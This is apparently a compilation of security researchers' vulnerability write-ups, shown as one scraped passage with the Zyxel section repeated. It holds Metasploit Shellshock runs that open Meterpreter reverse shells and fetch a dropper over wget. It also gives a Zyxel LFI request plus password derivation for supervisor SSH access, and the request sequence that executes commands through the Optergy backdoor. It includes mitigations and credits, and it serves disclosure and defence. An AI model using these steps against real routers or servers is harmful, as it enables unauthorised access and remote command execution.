groups=33(www-data) uname -a Linux cerberus 5.15.44-Re4son-v8l+ #1 SMP PREEMPT Debian kali-pi (2022-07-03) aarch64 GNU/Linux
Python Meterpreter payload example
msf6 exploit(multi/http/bash_env_cgi_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp payload => cmd/unix/python/meterpreter/reverse_tcp msf6 exploit(multi/http/bash_env_cgi_rce) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Target is vulnerable for CVE-2014-6271. [*] Target is vulnerable for CVE-2014-6278. [+] The target is vulnerable. [*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp using vulnerability CVE-2014-6271. [*] Sending stage (24772 bytes) to 192.168.201.10 [*] Meterpreter session 2 opened (192.168.201.10:4444 -> 192.168.201.10:35678) at 2023-05-21 15:03:48 +0000 meterpreter > sysinfo Computer : cerberus OS : Linux 5.15.44-Re4son-v8l+ #1 SMP PREEMPT Debian kali-pi (2022-07-03) Architecture : aarch64 Meterpreter : python/linux meterpreter > getuid Server username: www-data meterpreter >
Linux File dropper using payload: linux/aarch64/meterpreter_reverse_tcp
msf6 exploit(multi/http/bash_env_cgi_rce) > set target 1 target => 1 msf6 exploit(multi/http/bash_env_cgi_rce) > set payload linux/aarch64/meterpreter_reverse_tcp payload => linux/aarch64/meterpreter_reverse_tcp msf6 exploit(multi/http/bash_env_cgi_rce) > set CMDSTAGER::FLAVOR wget CMDSTAGER::FLAVOR => wget msf6 exploit(multi/http/bash_env_cgi_rce) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Target is vulnerable for CVE-2014-6271. [*] Target is vulnerable for CVE-2014-6278. [+] The target is vulnerable. [*] Executing Linux Dropper for linux/aarch64/meterpreter_reverse_tcp using vulnerability CVE-2014-6271. [*] Using URL: http://192.168.201.10:8080/ZzirBKe [*] Client 192.168.201.10 (Wget/1.21.3) requested /ZzirBKe [*] Sending payload to 192.168.201.10 (Wget/1.21.3) [*] Meterpreter session 3 opened (192.168.201.10:4444 -> 192.168.201.10:34346) at 2023-05-21 15:10:11 +0000 [*] Command Stager progress - 100.00% done (114/114 bytes) [*] Server stopped. meterpreter > sysinfo Computer : 192.168.201.10 OS : Debian (Linux 5.15.44-Re4son-v8l+) Architecture : aarch64 BuildTuple : aarch64-linux-musl Meterpreter : aarch64/linux meterpreter > getuid Server username: www-data meterpreter >
If you use CMDSTAGER::FLAVOR
option bourne
or printf
, please ensure that your payload size is 2048 or below.
You can control this with the option PAYLOADSIZE
Have fun !!!
References
Technical Analysis
In December 2022, SEC Consult
released a blog with the title The enemy from within: Unauthenticated Buffer Overflows in Zyxel routers still haunting users . The blog explains an unauthenticated buffer overflow in more then 40 different Zyxel router models and the fast amount of thousands of routers that are vulnerable and accessible via the Internet.
The impact is still quite limited because the published Metasploit exploit module only works from the LAN side.
However, the Unauthenticated Buffer Overflow is not the only vulnerability on these routers and SEC Consult
discovered another 7 vulnerabilities that are described in their security analysis Multiple Critical Vulnerabilities in multiple Zyxel devices.
While reading the security analysis and reviewing the other vulnerabilities, I discovered a new opportunity to build an exploit by chaining two other vulnerabilities that will allow an unauthenticated attacker to get privileged access to the Zyxel router from either the WAN or LAN side. The potential of this exploit to attack from the WAN side makes it quite dangerous taking into account the large number of non-patched Zyxel routers out there on the Internet.
Recently, CVE-2023-28770 has been released covering the LFI vulnerability that is used in this chained exploit.
Zyxel router chained RCE
Exploiting an unauthenticated local file disclosure (LFI) vulnerability and a weak password derivation algorithm
The first vulnerability that stood out to me is the LFI vulnerability that is discussed in section 2 of the Security Analysis by SEC Consult.
The LFI vulnerability is present in the zhttp
binary that allows an unauthenticated attacker to read the entire configuration of the router via the vulnerable endpoint /Export_Log?/data/zcfg_config.json
.
The burp request below shows a redacted response of the information that is disclosed such as encrypted passwords, account information, information on services configuration (FTP, Telnet, SSH), and hardware details such as serial number, hardware model etc. In total around 4000 lines of nested JSON
information that you would not like to share with anyone out there.
LFI Burp request and response
GET /Export_Log?/data/zcfg_config.json HTTP/1.1 Host: zyxel-vuln-router:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Connection: close
Response (REDACTED)
HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 148678 Date: Fri, 14 Apr 2023 08:47:46 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self' ---- Hardware Information ---- { "Manufacturer":"ZYXEL", "ManufacturerOUI":"XXXXX", "ModelName":"VMG3625-T20A", "Description":"Wireless AC VDSL2 4-port Gateway with USB", "ProductClass":"VMG3625-T20A", "SerialNumber":"S000Y00000000", "SoftwareVersion":"V5.30(ABOU.2)b1_I0_20180821", "AdditionalHardwareVersion":"", "AdditionalSoftwareVersion":"", "UpTime":607055, "FirstUseDate":"2023-03-21T09:07:41", "VendorConfigFileNumberOfEntries":0, "SupportedDataModelNumberOfEntries":0, "ProcessorNumberOfEntries":0, "VendorLogFileNumberOfEntries":0, "LocationNumberOfEntries":0, "FixManufacturerOUI":"" }, ---- Account Information---- "X_ZYXEL_LoginCfg":{ "LoginGroupConfigurable":true, "LogGp":[ { "GP_Privilege":"_encrypt_XXXXXXXXXXXXXX", "Account":[ { "AutoShowQuickStart":false, "Enabled":true, "EnableQuickStart":true, "Page":"", "Username":"root", "Password":"", "PasswordHash":"", "Privilege":"_encrypt_XXXXXXXXXXXXX", "GetConfigByFtp":true, "DefaultPassword":"_encrypt_XXXXXXXXXXXXXX", "DefaultGuiPassword":"", "ResetDefaultPassword":false, "shadow":"root:$6$XXXXXXXXXXX:0::::::\n", "smbpasswd":"root:0:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:33A9D53C23525B5F63A0C536445E2B76:[U ]:LCT-0000004E:\n", "ConfigAccountFromWAN":false, "DefPwLength":8, "AccountCreateTime":0, "AccountRetryTime":3, "AccountIdleTime":300, "AccountLockTime":300, "RemoHostAddress":"", "DotChangeDefPwd":false, "ShowSkipBtnInChgDefPwdPage":false, "AutoGenPwdBySn":false, "RemoteAccessPrivilege":"LAN", "OldDefaultPassword":"", "CardOrder":"", "ThemeColor":"", "HiddenPage":"" }, { "AutoShowQuickStart":false, "Enabled":true, "EnableQuickStart":true, "Page":"", "Username":"supervisor", "Password":"", "PasswordHash":"", "Privilege":"_encrypt_XXXXXXXXXXX", "DefaultPassword":"_encrypt_XXXXXXXXXXX", "DefaultGuiPassword":"", "ResetDefaultPassword":false, "shadow":"supervisor:$6$XXXXXXXXXX:0::::::\n", "smbpasswd":"supervisor:12:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:33A9D53C23525B5F63A0C536445E2B76:[U ]:LCT-0000004E:\n", "ConfigAccountFromWAN":false, "DefPwLength":8, "AccountCreateTime":0, "AccountRetryTime":3, "AccountIdleTime":300, "AccountLockTime":300, "RemoHostAddress":"", "DotChangeDefPwd":false, "ShowSkipBtnInChgDefPwdPage":false, "AutoGenPwdBySn":false, "RemoteAccessPrivilege":"LAN", "OldDefaultPassword":"", "CardOrder":"", "ThemeColor":"", "HiddenPage":"" } ], "Level":"high" }, ---- Service Information ---- "X_ZYXEL_RemoteManagement":{ "Service":[ { "Name":"HTTP", "Enable":true, "Protocol":6, "Port":8080, "Mode":"LAN_WAN", "TrustAll":true, "OldMode":"LAN_ONLY", "RestartDeamon":1, "LifeTime":20, "BoundInterfaceList":"" }, { "Name":"HTTPS", "Enable":true, "Protocol":6, "Port":443, "Mode":"LAN_WAN", "TrustAll":true, "OldMode":"LAN_ONLY", "RestartDeamon":true, "LifeTime":20, "BoundInterfaceList":"" }, { "Name":"FTP", "Enable":true, "Protocol":6, "Port":21, "Mode":"LAN_WAN", "TrustAll":true, "OldMode":"LAN_ONLY", "RestartDeamon":true, "LifeTime":20, "BoundInterfaceList":"" }, { "Name":"TELNET", "Enable":true, "Protocol":6, "Port":23, "Mode":"LAN_WAN", "TrustAll":true, "OldMode":"LAN_ONLY", "RestartDeamon":true, "LifeTime":20, "BoundInterfaceList":"" }, { "Name":"SSH", "Enable":true, "Protocol":6, "Port":22, "Mode":"LAN_WAN", "TrustAll":true, "OldMode":"LAN_ONLY", "RestartDeamon":true, "LifeTime":20, "BoundInterfaceList":"" },
Now this information disclosure in itself will not pose a direct threat to these routers, but of course attackers could try to crack the obtained encrypted shadow passwords, but this will take a long time.
So is there any other way to use the disclosed information for a successful attack?
And of course the answer is YES!
The second vulnerability that comes into play is the vulnerability described in section 3 of the analysis, “Unsafe Storage of Sensitive Data”.
It explains the password derivation technique used to decrypt the _encrypted_XXXXXX
passwords in the JSON
configuration file using a static AES Key and IV
.
But my attention was more drawn to another analysis Getting root on a Zyxel VMG8825-T50 router done by Thomas Rinsma
in 2020 that was referenced at the bottom of the section and where Thomas explains the password derivation techniques used on Zyxel routers.
In particular, section “Tangent 2: key and password derivation mechanisms” is quite interesting which describes in detail how the supervisor
user password can be derived using the serial key of the router.
So what if we use the LFI vulnerability to get the serial key of the router and try to crack the supervisor
password using this password derivation technique.
We can then use the disclosed router services information to check if ssh
or telnet
is enabled and accessible from the WAN and try to login as supervisor
to gain access to the router.
Bogi Napoleon Wennerstrøm
has reverse engineered and implemented some of these derivation functions producing the supervisor
password.
His repository can be found here on Github.
I tested his password derivation functions and indeed I can confirm that either zcfgBeCommonGenKeyBySerialNumMethod2
or zcfgBeCommonGenKeyBySerialNumMethod3
are working on vulnerable Zyxel routers.
# python ./main.py S000Y00000000 zcfgBeCommonGenKeyBySerialNum : A43338B488 zcfgBeCommonGenKeyBySerialNum_CBT : UdcTaX78 zcfgBeCommonGenKeyBySerialNumMethod2 : 2dc1a078 <== zcfgBeCommonGenKeyBySerialNumMethod3 : 58Pxnwdefr <== zcfgBeCommonGenKeyBySerialNumConfigLength(1) : EXXAY7XF zcfgBeCommonGenKeyBySerialNumConfigLength(2) : 4UxwvUxf zcfgBeCommonGenKeyBySerialNumConfigLength(3) : 4UxavUxf zcfgBeCommonGenKeyBySerialNumConfigLengthOld(1) : EXXAY7XF zcfgBeCommonGenKeyBySerialNumConfigLengthOld(2) : 4UxwvUxf zcfgBeCommonGenKeyBySerialNumConfigLengthOld(3) : 4UxavUxf ┌──(root💀cuckoo)-[~/zyxel_exploit/zyxel-vmg8825-keygen] └─# ssh supervisor@zyxel-vuln-router supervisor@zyxel-vuln-router's password: $ uname -a Linux VMG3625-T20A 2.6.36 #7 SMP Sat Aug 18 12:18:02 CET 2018 mips GNU/Linux $ id uid=12(supervisor) gid=12 groups=12 $
I have created a Metasploit
module that chains these two vulnerabilities together to gain access to vulnerable Zyxel routers.
PR submission to mainstream Metasploit
is completed and available.
Mitigation
Please follow this Security Advisory of Zyxel to patch your router.
As temporary measure, you should disable all your services on the router such as telnet
, ftp
and ssh
that allows access to the supervisor
user and configure your web interface only to be accessible by the admin
user.
References
CVE-2023-28770
The enemy from within: Unauthenticated Buffer Overflows in Zyxel routers still haunting users .
Multiple Critical Vulnerabilities in multiple Zyxel devices.
Getting root on a Zyxel VMG8825-T50 router
Zyxel VMG8825-T50 Supervisor Keygen – Github
Zyxel Security Advisory
Metasploit PR: Zyxel router chained RCE using LFI and weak password derivation algorithm
Credits
Credits goes to:
SEC Consult team
Thomas Rinsma
Bogi Napoleon Wennerstrøm
Technical Analysis
In December 2022, SEC Consult
released a blog with the title The enemy from within: Unauthenticated Buffer Overflows in Zyxel routers still haunting users . The blog explains an unauthenticated buffer overflow in more then 40 different Zyxel router models and the fast amount of thousands of routers that are vulnerable and accessible via the Internet.
The impact is still quite limited because the published Metasploit exploit module only works from the LAN side.
However, the Unauthenticated Buffer Overflow is not the only vulnerability on these routers and SEC Consult
discovered another 7 vulnerabilities that are described in their security analysis Multiple Critical Vulnerabilities in multiple Zyxel devices.
While reading the security analysis and reviewing the other vulnerabilities, I discovered a new opportunity to build an exploit by chaining two other vulnerabilities that will allow an unauthenticated attacker to get privileged access to the Zyxel router from either the WAN or LAN side. The potential of this exploit to attack from the WAN side makes it quite dangerous taking into account the large number of non-patched Zyxel routers out there on the Internet.
Recently, CVE-2023-28770 has been released covering the LFI vulnerability that is used in this chained exploit.
Zyxel router chained RCE
Exploiting an unauthenticated local file disclosure (LFI) vulnerability and a weak password derivation algorithm
The first vulnerability that stood out to me is the LFI vulnerability that is discussed in section 2 of the Security Analysis by SEC Consult.
The LFI vulnerability is present in the zhttp
binary that allows an unauthenticated attacker to read the entire configuration of the router via the vulnerable endpoint /Export_Log?/data/zcfg_config.json
.
The burp request below shows a redacted response of the information that is disclosed such as encrypted passwords, account information, information on services configuration (FTP, Telnet, SSH), and hardware details such as serial number, hardware model etc. In total around 4000 lines of nested JSON
information that you would not like to share with anyone out there.
LFI Burp request and response
GET /Export_Log?/data/zcfg_config.json HTTP/1.1 Host: zyxel-vuln-router:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Connection: close
Response (REDACTED)
HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 148678 Date: Fri, 14 Apr 2023 08:47:46 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self' ---- Hardware Information ---- { "Manufacturer":"ZYXEL", "ManufacturerOUI":"XXXXX", "ModelName":"VMG3625-T20A", "Description":"Wireless AC VDSL2 4-port Gateway with USB", "ProductClass":"VMG3625-T20A", "SerialNumber":"SXXXXXXXXXXXX", "SoftwareVersion":"V5.30(ABOU.2)b1_I0_20180821", "AdditionalHardwareVersion":"", "AdditionalSoftwareVersion":"", "UpTime":607055, "FirstUseDate":"2023-03-21T09:07:41", "VendorConfigFileNumberOfEntries":0, "SupportedDataModelNumberOfEntries":0, "ProcessorNumberOfEntries":0, "VendorLogFileNumberOfEntries":0, "LocationNumberOfEntries":0, "FixManufacturerOUI":"" }, ---- Account Information---- "X_ZYXEL_LoginCfg":{ "LoginGroupConfigurable":true, "LogGp":[ { "GP_Privilege":"_encrypt_XXXXXXXXXXXXXX", "Account":[ { "AutoShowQuickStart":false, "Enabled":true, "EnableQuickStart":true, "Page":"", "Username":"root", "Password":"", "PasswordHash":"", "Privilege":"_encrypt_XXXXXXXXXXXXX", "GetConfigByFtp":true, "DefaultPassword":"_encrypt_XXXXXXXXXXXXXX", "DefaultGuiPassword":"", "ResetDefaultPassword":false, "shadow":"root:$6$XXXXXXXXXXX:0::::::\n", "smbpasswd":"root:0:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:33A9D53C23525B5F63A0C536445E2B76:[U ]:LCT-0000004E:\n", "ConfigAccountFromWAN":false, "DefPwLength":8, "AccountCreateTime":0, "AccountRetryTime":3, "AccountIdleTime":300, "AccountLockTime":300, "RemoHostAddress":"", "DotChangeDefPwd":false, "ShowSkipBtnInChgDefPwdPage":false, "AutoGenPwdBySn":false, "RemoteAccessPrivilege":"LAN", "OldDefaultPassword":"", "CardOrder":"", "ThemeColor":"", "HiddenPage":"" }, { "AutoShowQuickStart":false, "Enabled":true, "EnableQuickStart":true, "Page":"", "Username":"supervisor", "Password":"", "PasswordHash":"", "Privilege":"_encrypt_XXXXXXXXXXX", "DefaultPassword":"_encrypt_XXXXXXXXXXX", "DefaultGuiPassword":"", "ResetDefaultPassword":false, "shadow":"supervisor:$6$XXXXXXXXXX:0::::::\n", "smbpasswd":"supervisor:12:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:33A9D53C23525B5F63A0C536445E2B76:[U ]:LCT-0000004E:\n", "ConfigAccountFromWAN":false, "DefPwLength":8, "AccountCreateTime":0, "AccountRetryTime":3, "AccountIdleTime":300, "AccountLockTime":300, "RemoHostAddress":"", "DotChangeDefPwd":false, "ShowSkipBtnInChgDefPwdPage":false, "AutoGenPwdBySn":false, "RemoteAccessPrivilege":"LAN", "OldDefaultPassword":"", "CardOrder":"", "ThemeColor":"", "HiddenPage":"" } ], "Level":"high" }, ---- Service Information ---- "X_ZYXEL_RemoteManagement":{ "Service":[ { "Name":"HTTP", "Enable":true, "Protocol":6, "Port":8080, "Mode":"LAN_WAN", "TrustAll":true, "OldMode":"LAN_ONLY", "RestartDeamon":1, "LifeTime":20, "BoundInterfaceList":"" }, { "Name":"HTTPS", "Enable":true, "Protocol":6, "Port":443, "Mode":"LAN_WAN", "TrustAll":true, "OldMode":"LAN_ONLY", "RestartDeamon":true, "LifeTime":20, "BoundInterfaceList":"" }, { "Name":"FTP", "Enable":true, "Protocol":6, "Port":21, "Mode":"LAN_WAN", "TrustAll":true, "OldMode":"LAN_ONLY", "RestartDeamon":true, "LifeTime":20, "BoundInterfaceList":"" }, { "Name":"TELNET", "Enable":true, "Protocol":6, "Port":23, "Mode":"LAN_WAN", "TrustAll":true, "OldMode":"LAN_ONLY", "RestartDeamon":true, "LifeTime":20, "BoundInterfaceList":"" }, { "Name":"SSH", "Enable":true, "Protocol":6, "Port":22, "Mode":"LAN_WAN", "TrustAll":true, "OldMode":"LAN_ONLY", "RestartDeamon":true, "LifeTime":20, "BoundInterfaceList":"" },
Now this information disclosure in itself will not pose a direct threat to these routers, but of course attackers could try to crack the obtained encrypted shadow passwords, but this will take a long time.
So is there any other way to use the disclosed information for a successful attack?
And of course the answer is YES!
The second vulnerability that comes into play is the vulnerability described in section 3 of the analysis, “Unsafe Storage of Sensitive Data”.
It explains the password derivation technique used to decrypt the _encrypted_XXXXXX
passwords in the JSON
configuration file using a static AES Key and IV
.
But my attention was more drawn to another analysis Getting root on a Zyxel VMG8825-T50 router done by Thomas Rinsma
in 2020 that was referenced at the bottom of the section and where Thomas explains the password derivation techniques used on Zyxel routers.
In particular, section “Tangent 2: key and password derivation mechanisms” is quite interesting which describes in detail how the supervisor
user password can be derived using the serial key of the router.
So what if we use the LFI vulnerability to get the serial key of the router and try to crack the supervisor
password using this password derivation technique.
We can then use the disclosed router services information to check if ssh
or telnet
is enabled and accessible from the WAN and try to login as supervisor
to gain access to the router.
Bogi Napoleon Wennerstrøm
has reverse engineered and implemented some of these derivation functions producing the supervisor
password.
His repository can be found here on Github.
I tested his password derivation functions and indeed I can confirm that either zcfgBeCommonGenKeyBySerialNumMethod2
or zcfgBeCommonGenKeyBySerialNumMethod3
are working on vulnerable Zyxel routers.
# python ./main.py SXXXXXXXXXXXX <= redacted zcfgBeCommonGenKeyBySerialNum : L8PBA3JD6H zcfgBeCommonGenKeyBySerialNum_CBT : 4a88dfa2 zcfgBeCommonGenKeyBySerialNumMethod2 : 4a88dfa2 => zcfgBeCommonGenKeyBySerialNumMethod3 : aN66Q5D31Y <= zcfgBeCommonGenKeyBySerialNumConfigLength(1) : 778V3W7O zcfgBeCommonGenKeyBySerialNumConfigLength(2) : Yd3HvMpU zcfgBeCommonGenKeyBySerialNumConfigLength(3) : dByHvMzZ zcfgBeCommonGenKeyBySerialNumConfigLengthOld(1) : 778V3W7O zcfgBeCommonGenKeyBySerialNumConfigLengthOld(2) : Yd3HvMpU zcfgBeCommonGenKeyBySerialNumConfigLengthOld(3) : dByHvMzZ ┌──(root💀cuckoo)-[~/zyxel_exploit/zyxel-vmg8825-keygen] └─# ssh supervisor@zyxel-vuln-router supervisor@zyxel-vuln-router's password: $ uname -a Linux VMG3625-T20A 2.6.36 #7 SMP Sat Aug 18 12:18:02 CET 2018 mips GNU/Linux $ id uid=12(supervisor) gid=12 groups=12 $
I have created a Metasploit
module that chains these two vulnerabilities together to gain access to vulnerable Zyxel routers.
PR submission to mainstream Metasploit
is in progress.
Mitigation
Please follow this Security Advisory of Zyxel to patch your router.
As temporary measure, you should disable all your services on the router such as telnet
, ftp
and ssh
that allows access to the supervisor
user and configure your web interface only to be accessible by the admin
user.
References
CVE-2023-28770
The enemy from within: Unauthenticated Buffer Overflows in Zyxel routers still haunting users .
Multiple Critical Vulnerabilities in multiple Zyxel devices.
Getting root on a Zyxel VMG8825-T50 router
Zyxel VMG8825-T50 Supervisor Keygen – Github
Zyxel Security Advisory
Metasploit PR: Zyxel router chained RCE using LFI and weak password derivation algorithm
Credits
Credits goes to:
SEC Consult team
Thomas Rinsma
Bogi Napoleon Wennerstrøm
Technical Analysis
Backdoors
Since the dawn of our computing era, we have seen backdoors
added in application code. You can find them in applications, operating systems, firmware etc and you see a variety of sophistication in the development and deployment of these backdoors
.
The more or less official definition of a backdoor
can be found at wikipedia and defines it as:
A typically covert method of bypassing normal authentication or encryption in a computer, product, embedded device (e.g. a home router), or its embodiment.
Backdoors
can vary from a simple hard coded user / password combination to sophisticated rootkits
, object code backdoors
, asymmetric backdoors
and compiler backdoors
which are quite well explained in the article.
Reasons to install backdoors
are either for legitimate reasons to allow access to development or support but in most cases it has a malicious intent to enable unauthorized access to system and applications. In any case, allowing backdoors
in your code is not a good idea, because how well coded and secure, there is always somebody that discovers the damn
thing and starts using it for different reasons.
The example below shows a pretty sophisticated undocumented backdoor
in the Optergy
building management system. During a reverse engineering code review, this backdoor was discovered in 2019 by a security researcher Gjoko Krstic
a.k.a. LiquidWorm
.
During the review a backdoor script called Console.jsp
located in /usr/local/tomcat/webapps/ROOT/WEB-INF/jsp/tools/
was discovered which was not mentioned in any documentation, and it appeared to be a well-coded backdoor.
Once you navigate to the console, issuing a command and clicking Exec
resulted in errors. Clicking the Get
button ConsoleResult.html?get
returns a JSON
response message:
{"response":{"message":"1679481930381"}}
The question now is to satisfy this challenge response to successfully execute commands.
And after de-compiling the ConsoleResult.class
java bytecode it revealed how this developer backdoor console actually works.
Lines 065
, 066
, and 067
of the code block below reveals the logic how to use this ‘developer’ console.
The challenge is created once you issue the /tools/ajax/ConsoleResult.html?get
AJAX request. This challenge is used to generate a SHA-1
hash and then generate an MD5
hash from the SHA-1
hash.
At the end, you must concatenate the two values which becomes the answer that you need to issue together with the command you want to execute in the request.
With Cyberchef, you can easily compile the recipe together to get the results.
SHA1 of challenge value: 1679481930381
MD5 of SHA1
Challenge: 1679481930381 SHA1: 6c2ba45326f687498923413420c890ebf5b7602c MD5 of SHA1: 421dc80c2bea0c3710679605a6159162 Response: 6c2ba45326f687498923413420c890ebf5b7602c 421dc80c2bea0c3710679605a6159162
Decompiled ConsoleResult.class
ConsoleResult.class: 032: public class ConsoleResult 033: implements ActionBean, ValidationErrorHandler 034: { 035: private ActionBeanContext context; 036: @Validate(required=true, on={"execute"}, minlength=1) 037: private String command; 038: @Validate(required=true, on={"execute"}, minlength=1) 039: private String challenge; 040: @Validate(required=true, on={"execute"}, minlength=1) 041: private String answer; 042: private final Object lock; 043: 044: public ConsoleResult() 045: { 046: lock = new ConsoleResult.Lock(null); 047: } 048: 049: 050: 051: 052: 053: 054: @DefaultHandler 055: public Resolution execute() 056: { 057: long l1 = 1500L; 058: ServletContext localServletContext = getContext().getServletContext(); 059: List localList = (List)localServletContext.getAttribute("challengeList"); 060: 061: long l2 = Long.parseLong(challenge); 062: if ((localList != null) && (localList.contains(Long.valueOf(l2)))) 063: { 064: localList.remove(Long.valueOf(l2)); 065: String str1 = Util.makeSHA1Hash(Long.toString(l2)); 066: String str2 = Util.makeMD5Hash(str1); 067: String str3 = str1 + str2; 068: 069: if (!str3.equals(answer)) 070: { 071: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Response to Answer")); 072: } 073: 074: String str4 = ""; 075: ProcessStreamReader localProcessStreamReader = null; 076: try 077: { 078: String[] arrayOfString = command.split("\\ "); 079: ProcessBuilder localProcessBuilder = new ProcessBuilder(arrayOfString); 080: localProcessBuilder.redirectErrorStream(true); 081: Process localProcess = localProcessBuilder.start(); 082: ConsoleResult.ProcessWrapper localProcessWrapper = new ConsoleResult.ProcessWrapper(this, localProcess); 083: 084: localProcessWrapper.start(); 085: localProcessStreamReader = new ProcessStreamReader(localProcessWrapper.getfProcess().getInputStream()); 086: localProcessStreamReader.start(); 087: try 088: { 089: localProcessWrapper.join(l1); 090: localProcessStreamReader.join(l1); 091: } 092: catch (InterruptedException localInterruptedException) 093: { 094: localInterruptedException.printStackTrace(); 095: localProcessWrapper.interrupt(); 096: } 097: } 098: catch (Exception localException) 099: { 100: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Command")); 101: } 102: 103: 104: str4 = localProcessStreamReader.getString(); 105: 106: JSONObject localJSONObject = JSONConverter.createMessageResponse(str4); 107: return new JSONResolution(localJSONObject); 108: } 109: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Challenge")); 110: } 111: 112: public Resolution get() 113: { 114: ServletContext localServletContext = getContext().getServletContext(); 115: Object localObject = (List)localServletContext.getAttribute("challengeList"); 116: if (localObject == null) { 117: localObject = new ArrayList(); 118: } 119: long l = System.currentTimeMillis(); 120: ((List)localObject).add(Long.valueOf(l)); 121: 122: WebUtil.SetServletAttribute(localServletContext, "challengeList", localObject); 123: 124: JSONObject localJSONObject = JSONConverter.createMessageResponse(Long.toString(l)); 125: return new JSONResolution(localJSONObject); 126: }
The Burp output below shows exactly what happens under the cover.
Click Get button to get the challenge value
POST /tools/ajax/ConsoleResult.html?get HTTP/1.1 Host: 192.168.201.31 Content-Length: 0 Accept: */* User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest Origin: http://192.168.201.31 Referer: http://192.168.201.31/tools/Console.t00t Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=D671EA8E9B1E2ED42528FD2DB16DE186 Connection: close
Response is a JSON
message with the challenge value
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache, private, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Dec 1994 16:00:00 GMT Content-Type: application/json;charset=utf-8 Content-Language: en-US Content-Length: 40 Date: Wed, 22 Mar 2023 10:45:30 GMT Connection: close { "response": { "message":"1679481930381" } }
Now use the SHA1/MD5
recipe to determine the valid response to the challenge together with the command to be executed and click on the exec button.
This generates a POST request and executes the command.
Execute the whoami
command
POST /tools/ajax/ConsoleResult.html HTTP/1.1 Host: 192.168.201.31 Content-Length: 119 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Origin: http://192.168.201.31 Referer: http://192.168.201.31/tools/Console.t00t Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=D671EA8E9B1E2ED42528FD2DB16DE186 Connection: close &command=whoami&challenge=1679481930381&answer=6c2ba45326f687498923413420c890ebf5b7602c421dc80c2bea0c3710679605a6159162
Response is a JSON
message with the command output of whoami
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache, private, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Dec 1994 16:00:00 GMT Content-Type: application/json;charset=utf-8 Content-Language: en-US Content-Length: 38 Date: Wed, 22 Mar 2023 10:49:56 GMT Connection: close { "response":{ "message":"optergy\r\n" } }
The above example shows once more that even sophisticated backdoors
can be discovered by code reviews and therefore become vulnerable to misuse of malicious actors. It underpins the guidance again to avoid programming backdoors
in your application code.
Mitigation
All Optergy Proton / Enterprise versions 2.3.0a
and below are vulnerable.
Unfortunate like most IoT
type applications, still vulnerable deployments can be found since the discovery in 2019.
Patching IoT
devices still remains a challenge for a lot of companies out there :–(
Please upgrade to the subsequent versions to mitigate this vulnerability.
I could not resist the temptation to create a Metasploit
module to test this vulnerability. A local version of this module can found at the References section and I have also created an OVA image with a vulnerable Optergy Proton application to play with.
Submission to the mainstream of Metasploit
is completed.
References
CVE-2019-7276
Applied Risk: Optergy Proton / Enterprise 2.3.0a Multiple Vulnerabilities
Public Exploit – Packetstorm
Metasploit module
Metasploit Development h00die-gr3y
Credits
Credits goes to Gjoko Krstic
a.k.a. LiquidWorm
who discovered this vulnerability.
Technical Analysis
Monitorr
is a simple web application that allows you to setup a dashboard to monitor various web site / web application up or down state. It has been around for a while and is supported on both Linux and Windows, but development seems to be stalled.
Unfortunately this nice neat web application suffers from a remote code execution vulnerability that allows an attacker to upload a webshell tagged as a GIF
image and execute malicious php code.
A typical vulnerability that has been in OSWASP top 10 A04_2021-Insecure_Design for a long time => CWE-343 Unrestricted Upload of File with Dangerous Type, but developers still seems to get this wrong.
All versions including v1.7.6m
are vulnerable and no patch is available.
Evidence of compromise
When you want to check if your system is compromised, please look for unexpected files with extension like php
, phar
, php7
in the assets/data/usrimg
(Linux) or assets\data\usrimg
(Windows) directory. Also be conscious of the fact that the files might have been cleaned up by the attacker to cover their tracks.
Mitigation
All versions of Monitorr
are vulnerable, and the only mitigation is to restrict the execution of php code at the directory where the malicious file uploads are stored (Linux: <web_root>/assets/data/usrimg
or Windows: <web_root\assets\data\usrimg
).
I have created a Metasploit
module to test this vulnerability. A local version of this module can found at the References section.
Submission to mainstream development is in progress.
References
CVE-2020-28871
Lyins Lab Discovery
Public Exploit – Packetstorm
OSWASP top 10 – A04_2021-Insecure_Design
CWE-343 Unrestricted Upload of File with Dangerous Type
Metasploit Development h00die-gr3y
Credits
Credits goes to Lyins Lab
below who discovered this vulnerability.
Technical Analysis
On 31 January 2023, security researcher James Horman
and team from Horizon3.ai
published a Technical Deep Dive on vulnerabilities that exist in VMware vRealize Log Insight
and how to exploit those to get unauthenticated remote access to the application. Please read the blog VMware vRealize Log Insight VMSA-2023-0001 Technical Deep Dive for all the technical details.
What makes this use case particular interested is the chaining of multiple vulnerabilities to achieve the unauthenticated RCE.
